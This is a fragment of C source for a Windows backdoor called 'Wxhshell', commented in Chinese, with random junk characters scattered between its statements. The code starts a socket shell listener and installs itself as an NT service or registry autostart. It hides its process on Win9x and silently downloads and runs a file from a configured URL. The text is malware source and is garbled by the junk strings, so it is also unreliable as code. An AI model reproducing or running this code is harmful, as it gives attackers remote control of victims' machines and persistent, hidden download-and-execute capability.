.Gcy>Av hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MC&\bf if(hProcess==NULL) return 0; +w8R!jdA v2,%K`pAU HMODULE hMod; P00f6 char procName[255]; 4:9KR[y/ unsigned long cbNeeded; Ez{MU@Fk StI1){Wf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }Yv\0\~'W| \Ofw8=N-2 CloseHandle(hProcess); GTv#nnC f+.T^es if(strstr(procName,"services")) return 1; // 以服务启动 J1XL<7 !K?qgM return 0; // 注册表启动 3DaQo0N } v_<2H'*Q z>R#H/h+ // 主模块 irk*~k ? int StartWxhshell(LPSTR lpCmdLine) @u._"/K { ^h&I H| SOCKET wsl; ,i.%nZw\ BOOL val=TRUE;
Yav2q3 int port=0; 1|8<H~& struct sockaddr_in door; :D7|%KK YwcPX`eg if(wscfg.ws_autoins) Install(); DF {OnF U.T|
port=atoi(lpCmdLine); xLZd!>C wY"o`oZ if(port<=0) port=wscfg.ws_port; 2u?zO7W)-L nY $tp WSADATA data; I?Q+9Rmm`J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j8 C8X$ /HZumV? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; TCvSc\Q[:1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XN,,cU door.sin_family = AF_INET; j<"nO( door.sin_addr.s_addr = inet_addr("127.0.0.1"); R.s|j= door.sin_port = htons(port); Q+i\8RJ `B8tmW# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9j*0D(" closesocket(wsl); TFDm5XJ return 1; TOLl@p]lU } (
#&|Dp^' GD-&_6a if(listen(wsl,2) == INVALID_SOCKET) { dRvin[R8 closesocket(wsl); _x1EZ&dh return 1; ezTZnutZ } j;K#] Wxhshell(wsl); Kud'pZ{P WSACleanup(); 0"[`>K~7a8 !NKmx=I] return 0; =7
,Kf}6 5|$a =UIR } #l1Q e` =FW5Tkw0 // 以NT服务方式启动 U l Mi.;/^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kpob b { bdh(WJh% DWORD status = 0; G%TL/Z40 DWORD specificError = 0xfffffff; &d`^E6# wX1ig serviceStatus.dwServiceType = SERVICE_WIN32; o4=Yu7L serviceStatus.dwCurrentState = SERVICE_START_PENDING; iz}sM>^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )WR_
ug serviceStatus.dwWin32ExitCode = 0; G5]1s serviceStatus.dwServiceSpecificExitCode = 0; & 7QH^ serviceStatus.dwCheckPoint = 0; [~Hg}-c serviceStatus.dwWaitHint = 0; A~-#@Z |;;!8VO3J hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F}ukZ
DB if (hServiceStatusHandle==0) return; Qs+ k)e, rPq<Xb\ status = GetLastError(); 1"K*._K if (status!=NO_ERROR) _py2kjA6 { ]" x\=A serviceStatus.dwCurrentState = SERVICE_STOPPED; T% CxvZ serviceStatus.dwCheckPoint = 0; |LYKc.xo serviceStatus.dwWaitHint = 0; nx4P^PC serviceStatus.dwWin32ExitCode = status; P6?0r_Y serviceStatus.dwServiceSpecificExitCode = specificError; RSWcaATZN SetServiceStatus(hServiceStatusHandle, &serviceStatus); (N U0Tw return; VfSGCe } ! gp}U#Yv Ht=$] Px serviceStatus.dwCurrentState = SERVICE_RUNNING; 6`puTL? serviceStatus.dwCheckPoint = 0; "xwM+ AC serviceStatus.dwWaitHint = 0; P%o44|[][ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kN'Thq/ZE } Ge}$rLu]0 No W!xLI // 处理NT服务事件,比如:启动、停止 2Ug.:![ VOID WINAPI NTServiceHandler(DWORD fdwControl) ?ei%RWo { dm^H5D/A switch(fdwControl) kr_oUXiX { ch,| 1}bi case SERVICE_CONTROL_STOP: ZzL@[g serviceStatus.dwWin32ExitCode = 0; J@bW^>g*6u serviceStatus.dwCurrentState = SERVICE_STOPPED; |>sv8/! serviceStatus.dwCheckPoint = 0; $Qq_qTJu?G serviceStatus.dwWaitHint = 0; Tt6{WDscZ { IrO+5 w SetServiceStatus(hServiceStatusHandle, &serviceStatus); BRtXf0~&p } 3h JH(ToO return; Gc5VQ^] case SERVICE_CONTROL_PAUSE: vo b$iS`>= serviceStatus.dwCurrentState = SERVICE_PAUSED; jyjQzt
>\ break; $HRed|*.C case SERVICE_CONTROL_CONTINUE: +2O=s<fp serviceStatus.dwCurrentState = SERVICE_RUNNING; -931'W[s, break; U(3(ZqP case SERVICE_CONTROL_INTERROGATE: Qk7J[4 break; F^sw0 .b }; 2
zl~>3S SetServiceStatus(hServiceStatusHandle, &serviceStatus); .v7`$(T } t,?,F4j zv9MHC
& // 标准应用程序主函数 5&|5 a} 8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :C}H y { C"9"{ 8|vld3; // 获取操作系统版本 #`58F . OsIsNt=GetOsVer(); U 1F-~{r GetModuleFileName(NULL,ExeFile,MAX_PATH); !Ud:?U K!7q!%Ju // 从命令行安装 w7ZG oh( if(strpbrk(lpCmdLine,"iI")) Install(); fn?VNZ`J
\CtQ*[FmN // 下载执行文件 V@Kn24'' if(wscfg.ws_downexe) { #'g^Za if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;&7,73! WinExec(wscfg.ws_filenam,SW_HIDE); #ZF>WoC@e? } 4[(?L{ mLULd} g/o if(!OsIsNt) { Rd vn)K // 如果时win9x,隐藏进程并且设置为注册表启动 OT%V{hD HideProc(); q'2`0MRa
StartWxhshell(lpCmdLine); -+ko}He
} ,N0uR@GN else RCCv>o if(StartFromService()) hafECs // 以服务方式启动 A ~XOK;sB StartServiceCtrlDispatcher(DispatchTable); m6eFXP1U else n/?eZx1 // 普通方式启动 lJlZHO StartWxhshell(lpCmdLine); 'hy?jQ'|e ?'Oj=k"c7 return 0; 8T<@ @6`T }
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